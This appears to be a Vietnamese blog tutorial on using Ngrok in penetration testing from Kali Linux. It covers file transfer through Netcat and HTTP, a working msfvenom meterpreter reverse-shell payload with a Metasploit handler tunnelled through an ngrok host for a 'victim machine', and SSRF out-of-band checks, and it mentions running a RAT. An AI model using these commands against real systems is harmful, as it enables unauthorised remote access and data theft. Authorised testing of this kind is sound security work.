Ngrok là một công cụ giúp bạn đưa các dịch vụ trên máy tính ra ngoài Internet mà không cần phải NAT Port hoặc làm lộ IP Public của bạn. Ngrok là một trong những công cụ yêu thích của mình và trong bài viết này, mình sẽ chỉ cho các bạn một số cách mà mình đã sử dụng Ngrok trong quá trình Pentest.
Cấu hình Ngrok
Để sử dụng Ngrok, bạn cần có tài khoản. Truy cập https://ngrok.com/ và tạo tài khoản bằng email hoặc sử dụng tùy chọn Google | Github Oauth. Tiếp theo, tải xuống tệp cài đặt Ngrok bằng cách truy cập Setup & Installation, sau đó nhấp chuột phải vào tùy chọn Download for Linux và sao chép địa chỉ liên kết:
Tiếp theo, vào Terminal của máy tấn công và wget
tệp ZIP Ngrok. Sau đó giải nén, thêm quyền thực thi và cuối cùng di chuyển tệp Ngrok sang /usr/local/bin/:
cd /tmp wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip unzip ngrok-stable-linux-amd64.zip chmod +x ngrok sudo mv ngrok /usr/local/bin/
LƯU Ý: Liên kết trên có khả năng không hoạt động với bạn. Sử dụng liên kết bạn đã sao chép từ trang chủ Ngrok.
Cấu hình AuthToken
Bây giờ bạn đã cài đặt xong Ngrok, chúng ta cần cung cấp cho Ngrok mã xác thực (authentication token) được cung cấp trong web của Ngrok. Truy cập tab Your Authtoken từ trong tài khoản của bạn:
Và sau đó sao chép Authtoken:
Cuối cùng, hãy chạy lệnh sau để định cấu hình Ngrok sử dụng Authtoken này:
ngrok authtoken 'AUTHTOKEN_GOES_HERE'
Các trường hợp sử dụng Ngrok cho Pentester trên Kali Linux
Dưới đây là một số trường hợp sử dụng Ngrok trong quá trình Pentest.
Truyền tệp bằng Netcat
Chuyển các tệp sang một máy không nằm trong mạng nội bộ của bạn là không thể nhưng cho đến khi bạn biết đến Ngrok. Để cung cấp dịch vụ Netcat qua Internet với Ngrok, hãy thực hiện các bước sau:
1. Thiết lập trình nghe Netcat trên một cổng bạn chọn
2. Chạy Ngrok bằng lệnh tcp và chỉ định cổng bạn đã sử dụng để khởi động Netcat
Sau khi nhấn enter, trang tổng quan trạng thái phiên của Ngrok sẽ xuất hiện từ đó bạn có thể lấy URL:
3. Trên máy đích, sử dụng URI do Ngrok cung cấp để truyền tệp bằng Netcat. Lưu ý rằng URI tcp:// không được sử dụng khi chỉ định URL cho Netcat. Và đừng quên xóa: và thay thế bằng dấu cách:
Truyền File bằng máy chủ HTTP
Đôi khi bạn muốn chuyển tệp bằng các máy chủ HTTP đơn giản như mô-đun http.server của Python. Để chuyển tệp từ máy cục bộ của bạn qua Internet bằng máy chủ HTTP được lưu trữ cục bộ, hãy thực hiện các bước sau:
1. Khởi động máy chủ HTTP trên cổng bạn muốn
2. Chạy Ngrok bằng lệnh http và chỉ định cổng bạn đã sử dụng để khởi động máy chủ HTTP trên
3. Trên máy đích, sử dụng URI do Ngrok cung cấp để tải tệp
curl -o file.txt a96c-73-30-177-39.ngrok.io/file.txt
Metasploit Reverse Shells qua Internet
Việc tạo tải trọng Msfvenom với địa chỉ IP cục bộ sẽ hạn chế bạn bằng cách chỉ cho phép bạn tạo tải trọng cho các máy cục bộ. Để tạo tải trọng cho một máy từ xa kết nối lại qua Internet với Metasploit cục bộ của bạn, hãy thực hiện các bước sau:
1. Chạy Ngrok và chỉ định cổng cục bộ mà trình xử lý sẽ lắng nghe
2. Khởi động trình xử lý Metasploit và định cấu hình các tùy chọn ReverseListenerBindAddress và ReverseListenerBindPort để khi kết nối, chúng sẽ chuyển tiếp lưu lượng đến localhost:4444:
use exploit/multi/handler set lhost 6.tcp.ngrok.io set lport 16737 set payload linux/x64/meterpreter/reverse_tcp set ReverseListenerBindAddress 127.0.0.1 set ReverseListenerBindPort 4444 run -j
3. Tạo tải trọng Msfvenom và chỉ định URI do Ngrok cung cấp làm tham số LHOST
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o revsh LHOST=6.tcp.ngrok.io LPORT=16737
4. Chuyển tệp sang máy nạn nhân và sau đó chạy tải trọng. Bạn sẽ nhận được kết nối trở lại trên trình xử lý Metasploit cục bộ của mình:
LƯU Ý: Hãy cẩn thận khi sử dụng Ngrok cho các reverse shell. Nếu không được xử lý, bạn có thể vô tình để lộ mạng của khách hàng trước những kẻ xấu.
Kiểm tra lỗi hổng tương tác dịch vụ
Kiểm tra các tương tác máy chủ bên ngoài như giả mạo yêu cầu phía máy chủ (SSRF) có thể nhanh chóng thực hiện bằng cách sử dụng Ngrok. Chỉ cần tạo một trình nghe Ngrok trên bất kỳ cổng nào bạn muốn và sau đó sử dụng URL được cung cấp để đưa vào các thông số có khả năng dễ bị tấn công như tiêu đề HTTP, thông số chuyển hướng URL,… để cố gắng tìm lỗ hổng tương tác dịch vụ OOD:
Sau đó, chúng ta có thể mô phỏng một dịch vụ OOB với cURL:
Như bạn có thể thấy, một số yêu cầu GET đã được gửi đến trình nghe Ngrok, có thể được sử dụng để xác nhận các lỗ hổng như SSRF.
Ngoài ra, bạn cũng có thể sử dụng RAT mà không cần mở Port bằng Ngrok tại đây.